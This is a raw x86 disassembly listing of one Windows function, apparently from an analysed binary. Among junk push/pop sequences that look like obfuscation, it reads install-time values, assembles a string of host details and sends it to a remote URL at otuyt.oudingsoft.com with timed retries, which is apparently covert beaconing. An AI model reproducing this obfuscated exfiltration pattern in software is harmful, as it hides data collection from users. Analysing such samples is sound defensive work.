mov byte [ebp - 4], 0x2a
cmp eax, 8
jb 0x43ff29
inc eax
lea ecx, [ebp - 0x1334]
push eax
push dword [ebp - 0x1334]
call fcn.00403100
xor eax, eax
mov dword [ebp - 0x1320], 7
mov dword [ebp - 0x1324], 0
mov word [ebp - 0x1334], ax
call fcn.00454993
test al, al
je 0x43ff66
push esi
push edi
push ecx
pop edi
push eax
pop ebx
pop esp
push esp
pop esp
pop edi
push ebx
pop edx
push esi
pop esp
push eax
push eax
pop ebx
pop ecx
push esp
pop ebp
pop esi
pop edx
push ecx
call fcn.004547b0
test al, al
je 0x43ff8e
push ebx
push edx
pop edx
push ebx
pop ebx
pop ecx
push eax
pop eax
pop esp
push edx
pop edx
pop ecx
push eax
pop esp
pop esp
push esp
push ebx
push esi
pop ebx
push edx
pop ebp
push ecx
push esp
push edx
pop edx
pop esp
pop edx
push ebx
push edx
pop esp
push ecx
call fcn.0045483a
test al, al
je 0x43ffa7
push eax
push esp
pop edi
push esi
push edi
pop ebp
push ebx
push edx
pop ecx
push edi
push esp
pop esi
pop edx
pop ebx
pop esi
pop ebp
call fcn.0045494e
test al, al
je 0x43ffc3
push esp
push edi
push ebx
pop ebp
pop esi
pop eax
pop ebx
push esi
pop ebx
push esi
push edx
push edi
push ebp
pop ebx
pop edx
pop ebx
pop esp
pop esp
push edi
call fcn.00462480
test eax, eax
lea ecx, [ebp - 0x13f4]
lea eax, [ebp - 0x13ac]
je 0x440006
cmp dword [ebp - 0x13e0], 8
push 0
cmovae ecx, dword [ebp - 0x13f4]
cmp dword [ebp - 0x1398], 8
push 0
cmovae eax, dword [ebp - 0x13ac]
push 0
push ecx
push eax
call fcn.00463b8d
add esp, 0x14
jmp 0x440030
cmp dword [ebp - 0x13e0], 8
push 0xffffffffffffffff
cmovae ecx, dword [ebp - 0x13f4]
cmp dword [ebp - 0x1398], 8
push 0
cmovae eax, dword [ebp - 0x13ac]
push ecx
push eax
call fcn.00463ae3
add esp, 0x10
mov eax, dword [ebp - 0x13e0]
cmp eax, 8
jb 0x44004e
inc eax
lea ecx, [ebp - 0x13f4]
push eax
push dword [ebp - 0x13f4]
call fcn.00403100
xor eax, eax
mov dword [ebp - 0x13e0], 7
lea ecx, [ebp - 0x15e8]
mov dword [ebp - 0x13e4], 0
mov word [ebp - 0x13f4], ax
call fcn.004055b0
mov eax, dword [ebp - 0x1398]
cmp eax, 8
jb 0x440094
inc eax
lea ecx, [ebp - 0x13ac]
push eax
push dword [ebp - 0x13ac]
call fcn.00403100
xor eax, eax
mov dword [ebp - 0x1398], 7
mov word [ebp - 0x13ac], ax
lea ecx, [ebp - 0x15dc]
mov eax, dword [ebp - 0x15dc]
push eax
mov dword [ebp - 0x139c], 0
push dword [eax]
lea eax, [ebp - 0x15d0]
push eax
call fcn.00441310
push 0x10
push 1
push dword [ebp - 0x15dc]
call fcn.00441140
mov eax, dword [ebp - 0x13b0]
add esp, 0xc
cmp eax, 0x10
jb 0x4400fc
inc eax
lea ecx, [ebp - 0x13c4]
push eax
push dword [ebp - 0x13c4]
call fcn.004053c0
mov eax, dword [ebp - 0x1380]
mov dword [ebp - 0x13b0], 0xf
mov dword [ebp - 0x13b4], 0
mov byte [ebp - 0x13c4], 0
cmp eax, 0x10
jb 0x440135
inc eax
lea ecx, [ebp - 0x1394]
push eax
push dword [ebp - 0x1394]
call fcn.004053c0
mov eax, dword [ebp - 0x1458]
mov dword [ebp - 0x1380], 0xf
mov dword [ebp - 0x1384], 0
mov byte [ebp - 0x1394], 0
cmp eax, 0x10
jb 0x44016e
inc eax
lea ecx, [ebp - 0x146c]
push eax
push dword [ebp - 0x146c]
call fcn.004053c0
mov eax, dword [ebp - 0x1368]
mov dword [ebp - 0x1458], 0xf
mov dword [ebp - 0x145c], 0
mov byte [ebp - 0x146c], 0
cmp eax, 0x10
jb 0x4401a7
inc eax
lea ecx, [ebp - 0x137c]
push eax
push dword [ebp - 0x137c]
call fcn.004053c0
mov eax, dword [ebp - 0x1488]
mov dword [ebp - 0x1368], 0xf
mov dword [ebp - 0x136c], 0
mov byte [ebp - 0x137c], 0
cmp eax, 0x10
jb 0x4401e0
inc eax
lea ecx, [ebp - 0x149c]
push eax
push dword [ebp - 0x149c]
call fcn.004053c0
mov eax, dword [ebp - 0x13f8]
cmp eax, 8
jb 0x4401fe
inc eax
lea ecx, [ebp - 0x140c]
push eax
push dword [ebp - 0x140c]
call fcn.00403100
xor eax, eax
mov dword [ebp - 0x13f8], 7
mov word [ebp - 0x140c], ax
mov eax, dword [ebp - 0x14d0]
mov dword [ebp - 0x13fc], 0
cmp eax, 0x10
jb 0x440239
inc eax
lea ecx, [ebp - 0x14e4]
push eax
push dword [ebp - 0x14e4]
call fcn.004053c0
mov eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x14d0], 0xf
mov dword [ebp - 0x14d4], 0
mov byte [ebp - 0x14e4], 0
cmp eax, 0x10
jb 0x440272
inc eax
lea ecx, [ebp - 0x14cc]
push eax
push dword [ebp - 0x14cc]
call fcn.004053c0
mov eax, dword [ebp - 0x14a0]
mov dword [ebp - 0x14b8], 0xf
mov dword [ebp - 0x14bc], 0
mov byte [ebp - 0x14cc], 0
cmp eax, 0x10
jb 0x4402ab
inc eax
lea ecx, [ebp - 0x14b4]
push eax
push dword [ebp - 0x14b4]
call fcn.004053c0
mov eax, dword [ebp - 0x1350]
mov dword [ebp - 0x14a0], 0xf
mov dword [ebp - 0x14a4], 0
mov byte [ebp - 0x14b4], 0
cmp eax, 0x10
jb 0x4402e4
inc eax
lea ecx, [ebp - 0x1364]
push eax
push dword [ebp - 0x1364]
call fcn.004053c0
mov eax, dword [ebp - 0x1470]
mov dword [ebp - 0x1350], 0xf
mov dword [ebp - 0x1354], 0
mov byte [ebp - 0x1364], 0
mov byte [ebp - 4], 0x12
cmp eax, 0x10
jb 0x440321
inc eax
lea ecx, [ebp - 0x1484]
push eax
push dword [ebp - 0x1484]
call fcn.004053c0
call fcn.00454360
test al, al
je 0x44034a
push ebx
push ebx
pop ebp
push esi
pop edx
pop esp
push edi
push ebx
pop edx
push edi
push edi
push ebp
pop eax
pop edi
push esp
pop edi
push ebx
push ebx
push ebx
push ebp
pop ecx
pop ebx
pop esi
push esi
push esi
push esp
pop esp
push esi
pop edi
push ecx
push esp
pop ebx
call fcn.0045442f
test al, al
je 0x440366
pop eax
pop eax
push ebx
pop edx
pop ecx
push edi
pop esp
pop ebp
push eax
pop edi
pop edi
pop eax
push esi
push esp
push eax
push eax
push esp
pop eax
pop ebp
call fcn.004544fe
test al, al
je 0x440383
pop edi
pop ebx
push ebp
push eax
pop edx
pop ecx
push ecx
push esi
pop edi
push esp
push ebp
push esp
pop edi
push edi
pop esp
push esi
pop esp
push edx
push edx
push ecx
call fcn.00406870
mov ecx, eax
call fcn.0045d928
push eax
lea ecx, [ebp - 0x155c]
call fcn.00403740
push str.WindowsRestMater.exe
lea ecx, [ebp - 0x155c]
mov byte [ebp - 4], 0x2b
call fcn.0040a430
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 7
cmp dword [ecx + 0x14], 8
mov dword [ecx + 0x10], 0
jb 0x4403da
mov eax, dword [ecx]
jmp 0x4403dc
mov eax, ecx
xor edx, edx
push 0xffffffffffffffff
mov word [eax], dx
lea eax, [ebp - 0x155c]
push edx
push eax
call fcn.00402ee0
lea eax, [ebp - 0x1544]
push eax
call fcn.00457520
add esp, 0x1c
mov byte [ebp - 4], 0x2c
call fcn.004544b9
test al, al
je 0x440429
pop esi
push ebx
pop edi
push esi
pop edx
pop ecx
pop ebp
push eax
push ebx
pop ecx
pop ecx
pop edx
pop edx
pop esp
push ebx
push ebx
push esp
pop eax
pop ebp
push esi
pop eax
pop edx
pop edi
push eax
pop ebx
push ebp
push eax
pop esi
push eax
lea eax, [ebp - 0x1544]
push 0x5e266c
push eax
call fcn.00420a70
add esp, 8
test al, al
je 0x440451
push 0x5e3940
lea ecx, [ebp - 0x1544]
call fcn.004039d0
call fcn.00454588
test al, al
je 0x44046c
pop edx
pop edi
push edx
pop ebx
pop ebp
pop edx
push esp
pop edx
push esp
push ebp
pop ebp
pop edi
push eax
push esp
push esp
push ebx
pop edi
pop edi
call fcn.004547b0
test al, al
je 0x440490
push edi
push edi
push eax
push edi
pop ecx
push ebp
push esp
pop ebp
push ebp
push ebp
pop edi
pop ebp
push ebp
pop esp
pop ecx
push esp
push eax
pop esp
push esi
pop esp
push ebp
push esi
push eax
push edi
pop edx
push edx
push esp
call fcn.00454612
test al, al
je 0x4404ab
pop edi
push edi
push ebx
push edx
pop esi
pop edi
push ebx
pop ebx
push esp
push eax
pop eax
push ebx
pop esi
push ebx
push ebx
push esp
pop ecx
pop ebx
push 0
push str.InstallTime
push 0x5e2808
call fcn.00406870
mov ecx, eax
call fcn.0045deef
push 0
mov esi, eax
push str.FirstInstallTime
push 0x5e2808
mov dword [ebp - 0x15c4], esi
call fcn.00406870
mov ecx, eax
call fcn.0045deef
mov ebx, eax
mov dword [ebp - 0x15c8], ebx
test esi, esi
jne 0x4404fe
push esi
call fcn.0047f82c
add esp, 4
mov dword [ebp - 0x15c4], eax
test ebx, ebx
jne 0x440511
push ebx
call fcn.0047f82c
add esp, 4
mov dword [ebp - 0x15c8], eax
call fcn.004543ea
test al, al
je 0x440539
push ebx
push ecx
pop edx
pop ecx
pop edx
push eax
pop ecx
push edi
push ebx
push edx
push edx
push edi
pop esi
pop ebx
push esp
push esi
push eax
pop edi
pop eax
push esp
push edx
pop edi
pop esi
push ebp
pop eax
pop edx
pop esi
push ebx
push ebp
pop ebp
push esi
call fcn.00454726
test al, al
je 0x440560
pop esi
pop ebp
pop ebx
pop ecx
push ecx
push ebp
pop eax
push esi
pop ecx
pop eax
pop edx
push ebp
pop eax
push esp
pop esi
pop esi
push edi
pop ecx
pop ebx
push eax
push esi
pop edi
pop ecx
push ecx
pop eax
push esi
push ebp
pop eax
push edi
pop ecx
call fcn.00454909
test al, al
je 0x440588
push esp
pop eax
push ecx
pop edi
push ecx
pop ecx
pop eax
push esp
pop ecx
pop edi
pop edi
push ebx
pop ecx
pop edx
pop ecx
push eax
pop esp
pop eax
push edx
pop ecx
pop eax
pop ebx
pop eax
pop ecx
pop edx
push ebp
push ecx
pop eax
push edi
push esp
pop edx
lea ecx, [ebp - 0x1604]
call fcn.0046bfba
lea eax, [ebp - 0x1574]
mov byte [ebp - 4], 0x2d
push eax
lea ecx, [ebp - 0x1604]
call fcn.00470588
push 0x5e270d
lea ecx, [ebp - 0x134c]
mov byte [ebp - 4], 0x2e
call fcn.00405f10
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x15a4]
mov byte [ebp - 4], 0x2f
push eax
lea ecx, [ebp - 0x134c]
call fcn.00405880
push 1
push 0x5e3444
lea ecx, [ebp - 0x134c]
call fcn.00405980
call fcn.00454543
test al, al
je 0x44060d
pop esp
pop ecx
pop ecx
push edx
pop esp
pop edx
push ecx
pop edi
push esi
pop ecx
pop ecx
pop ecx
push esi
pop ebp
push edx
push ebx
pop edx
push ecx
pop edx
push ebx
pop esi
push edi
push ebp
pop edx
push ebp
push esi
pop ecx
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x158c]
push eax
lea ecx, [ebp - 0x134c]
call fcn.00405880
push 1
push 0x5e3444
lea ecx, [ebp - 0x134c]
call fcn.00405980
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x15bc]
push eax
lea ecx, [ebp - 0x134c]
call fcn.00405880
push 1
push 0x5e3444
lea ecx, [ebp - 0x134c]
call fcn.00405980
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x1454]
push eax
lea ecx, [ebp - 0x134c]
call fcn.00405880
push 1
push 0x5e3444
lea ecx, [ebp - 0x134c]
call fcn.00405980
lea eax, [ebp - 0x149c]
push 0
push eax
call fcn.00461ba2
push eax
lea eax, [ebp - 0x1484]
mov byte [ebp - 4], 0x30
push eax
call fcn.0045af6f
add esp, 0x10
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x134c]
mov byte [ebp - 4], 0x31
call fcn.00405880
lea ecx, [ebp - 0x1484]
call fcn.00403800
lea ecx, [ebp - 0x149c]
mov byte [ebp - 4], 0x2f
call fcn.00412280
push 1
push 0x5e3444
lea ecx, [ebp - 0x134c]
call fcn.00405980
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x1424]
push eax
lea ecx, [ebp - 0x134c]
call fcn.00405880
push 1
push 0x5e3444
lea ecx, [ebp - 0x134c]
call fcn.00405980
call fcn.004544b9
test al, al
je 0x44072c
push edx
pop edi
push esi
push ebp
pop esp
push edx
push ebp
push eax
pop edx
push ebp
pop edx
pop ebp
push ebp
pop esp
pop edi
pop edx
pop edx
push edi
pop esi
push ecx
call fcn.004547b0
test al, al
je 0x440746
pop edi
push ebx
pop edi
push ebp
push ebp
pop eax
pop ebp
push edx
pop ebp
pop edx
pop ecx
push esi
push ebp
pop ebx
push ebx
pop ecx
push ebx
mov eax, dword [ebp - 0x15c8]
cdq
push edx
push eax
lea eax, [ebp - 0x1484]
push eax
call fcn.004586a0
add esp, 0xc
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x134c]
mov byte [ebp - 4], 0x32
call fcn.00405880
lea ecx, [ebp - 0x1484]
mov byte [ebp - 4], 0x2f
call fcn.00403800
push 1
push 0x5e3444
lea ecx, [ebp - 0x134c]
call fcn.00405980
mov eax, dword [ebp - 0x15c4]
cdq
push edx
push eax
lea eax, [ebp - 0x149c]
push eax
call fcn.004586a0
add esp, 0xc
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x134c]
mov byte [ebp - 4], 0x33
call fcn.00405880
lea ecx, [ebp - 0x149c]
mov byte [ebp - 4], 0x2f
call fcn.00403800
push 1
push 0x5e3444
lea ecx, [ebp - 0x134c]
call fcn.00405980
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x1574]
push eax
lea ecx, [ebp - 0x134c]
call fcn.00405880
push 1
push 0x5e3444
lea ecx, [ebp - 0x134c]
call fcn.00405980
lea eax, [ebp - 0x1544]
push eax
lea eax, [ebp - 0x137c]
push eax
call fcn.0045af6f
add esp, 8
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x134c]
mov byte [ebp - 4], 0x34
call fcn.00405880
lea ecx, [ebp - 0x137c]
mov byte [ebp - 4], 0x2f
call fcn.00403800
call fcn.00454a62
test al, al
je 0x44085d
push edx
push ecx
pop ecx
pop ecx
push ecx
push esp
push esi
pop ebp
pop ebp
push ebp
pop ecx
pop eax
push ecx
push eax
push edi
push eax
pop ebx
pop ebx
push esp
lea eax, [ebp - 0x134c]
push eax
lea eax, [ebp - 0x152c]
push eax
call fcn.0045a966
cmp dword [ebp - 0x1518], 8
lea eax, [ebp - 0x152c]
mov byte [ebp - 4], 0x35
cmovae eax, dword [ebp - 0x152c]
push eax
push 0xa6
call fcn.0045bdc5
lea eax, [ebp - 0x134c]
push eax
lea eax, [ebp - 0x1484]
push eax
call fcn.0045a865
add esp, 0x18
lea ecx, [ebp - 0x134c]
push eax
call fcn.00407a00
lea ecx, [ebp - 0x1484]
call fcn.00403800
call fcn.00454a62
test al, al
je 0x4408dc
push esi
push edx
push eax
pop ebp
pop edx
pop edx
push edx
pop ebx
push ebp
pop eax
pop ebp
push eax
push esi
pop eax
pop esp
pop ecx
pop ecx
pop ebx
push ebp
cmp dword [ebp - 0x1338], 0x10
lea eax, [ebp - 0x134c]
cmovae eax, dword [ebp - 0x134c]
push eax
lea eax, [ebp - 0x1484]
push eax
call fcn.00455eed
add esp, 8
lea ecx, [ebp - 0x134c]
push eax
call fcn.00407a00
lea ecx, [ebp - 0x1484]
call fcn.00403800
push 0xfff
lea eax, [ebp - 0x131b]
push 0
push eax
call fcn.0047be90
cmp dword [ebp - 0x1338], 0x10
lea ecx, [ebp - 0x15f0]
push ecx
lea ecx, [ebp - 0x131c]
mov dword [ebp - 0x15f0], 0x1000
push ecx
push dword [ebp - 0x133c]
lea eax, [ebp - 0x134c]
mov byte [ebp - 0x131c], 0
cmovae eax, dword [ebp - 0x134c]
push eax
call fcn.0046746c
add esp, 0x1c
call fcn.00454993
test al, al
je 0x44098c
push esi
push edi
push ecx
pop edi
push eax
pop ebx
pop esp
push esp
pop esp
pop edi
push ebx
pop edx
push esi
pop esp
push eax
push eax
pop ebx
pop ecx
push esp
pop ebp
pop esi
pop edx
push ecx
call fcn.004547b0
test al, al
je 0x4409b4
push ebx
push edx
pop edx
push ebx
pop ebx
pop ecx
push eax
pop eax
pop esp
push edx
pop edx
pop ecx
push eax
pop esp
pop esp
push esp
push ebx
push esi
pop ebx
push edx
pop ebp
push ecx
push esp
push edx
pop edx
pop esp
pop edx
push ebx
push edx
pop esp
push ecx
call fcn.0045483a
test al, al
je 0x4409cd
push eax
push esp
pop edi
push esi
push edi
pop ebp
push ebx
push edx
pop ecx
push edi
push esp
pop esi
pop edx
pop ebx
pop esi
pop ebp
call fcn.0045494e
test al, al
je 0x4409e9
push esp
push edi
push ebx
pop ebp
pop esi
pop eax
pop ebx
push esi
pop ebx
push esi
push edx
push edi
push ebp
pop ebx
pop edx
pop ebx
pop esp
pop esp
push edi
lea ecx, [ebp - 0x15ca]
call fcn.0041e5f0
lea eax, [ebp - 0x131c]
mov byte [ebp - 4], 0x36
push eax
lea ecx, [ebp - 0x15ca]
call fcn.0046be9a
call fcn.00454360
test al, al
je 0x440a33
push ebx
push ebx
pop ebp
push esi
pop edx
pop esp
push edi
push ebx
pop edx
push edi
push edi
push ebp
pop eax
pop edi
push esp
pop edi
push ebx
push ebx
push ebx
push ebp
pop ecx
pop ebx
pop esi
push esi
push esi
push esp
pop esp
push esi
pop edi
push ecx
push esp
pop ebx
call fcn.0045442f
test al, al
je 0x440a4f
pop eax
pop eax
push ebx
pop edx
pop ecx
push edi
pop esp
pop ebp
push eax
pop edi
pop edi
pop eax
push esi
push esp
push eax
push eax
push esp
pop eax
pop ebp
call fcn.004544fe
test al, al
je 0x440a6c
pop edi
pop ebx
push ebp
push eax
pop edx
pop ecx
push ecx
push esi
pop edi
push esp
push ebp
push esp
pop edi
push edi
pop esp
push esi
pop esp
push edx
push edx
push ecx
push str.https:__otuyt.oudingsoft.com__3eaf113426f74426bbdcef4436712c5eefb3ee456a6f
lea ecx, [ebp - 0x13dc]
call fcn.00405f10
cmp byte [ebp - 0x131c], 0
mov byte [ebp - 4], 0x37
jne 0x440a8d
xor ecx, ecx
jmp 0x440a9f
lea ecx, [ebp - 0x131c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440a96
sub ecx, edx
push ecx
lea eax, [ebp - 0x131c]
push eax
lea ecx, [ebp - 0x13dc]
call fcn.00405980
push 0x28
push str.f5476faf0704f00cdbe817ad08e006e266bb4e
lea ecx, [ebp - 0x13dc]
call fcn.00405980
call fcn.0045469c
test al, al
je 0x440ae8
pop esp
push esp
pop esi
pop esi
pop edx
push ebx
push esi
pop esi
push esp
pop eax
pop edx
pop esi
push ebx
pop ecx
pop ecx
pop edx
push eax
pop ebp
push edx
pop eax
pop edx
pop eax
push ecx
pop edx
pop ecx
pop edi
pop ecx
cmp dword [ebp - 0x13c8], 0x10
lea eax, [ebp - 0x13dc]
mov ebx, dword [ebp - 0x15ec]
mov ecx, ebx
cmovae eax, dword [ebp - 0x13dc]
push eax
call fcn.00440c70
test eax, eax
jne 0x440b89
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
cmp dword [ebp - 0x13c8], 0x10
lea eax, [ebp - 0x13dc]
mov ecx, ebx
cmovae eax, dword [ebp - 0x13dc]
push eax
call fcn.00440c70
test eax, eax
jne 0x440b89
push 0xfa0
call esi
cmp dword [ebp - 0x13c8], 0x10
lea eax, [ebp - 0x13dc]
mov ecx, ebx
cmovae eax, dword [ebp - 0x13dc]
push eax
call fcn.00440c70
test eax, eax
jne 0x440b89
push 0x1f40
call esi
cmp dword [ebp - 0x13c8], 0x10
lea eax, [ebp - 0x13dc]
mov ecx, ebx
cmovae eax, dword [ebp - 0x13dc]
push eax
call fcn.00440c70
lea ecx, [ebp - 0x13dc]
call fcn.00403800
lea ecx, [ebp - 0x15ca]
call fcn.00428280
lea ecx, [ebp - 0x152c]
call fcn.00412280
lea ecx, [ebp - 0x134c]
call fcn.00403800
lea ecx, [ebp - 0x1574]
call fcn.00403800
lea ecx, [ebp - 0x1604]
call fcn.00428280
lea ecx, [ebp - 0x1544]
call fcn.00412280
lea ecx, [ebp - 0x155c]
call fcn.00412280
lea ecx, [ebp - 0x15bc]
call fcn.00403800
lea ecx, [ebp - 0x158c]
call fcn.00403800
lea ecx, [ebp - 0x1454]
call fcn.00403800
lea ecx, [ebp - 0x15a4]
call fcn.00403800
lea ecx, [ebp - 0x15c9]
call fcn.00428280
lea ecx, [ebp - 0x1514]
call fcn.00403800
lea ecx, [ebp - 0x1424]
call fcn.00403800
lea ecx, [ebp - 0x15f8]
call fcn.0046255e
lea ecx, [ebp - 0x14fc]
call fcn.00412280
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045132d
mov esp, ebp
pop ebp
ret 4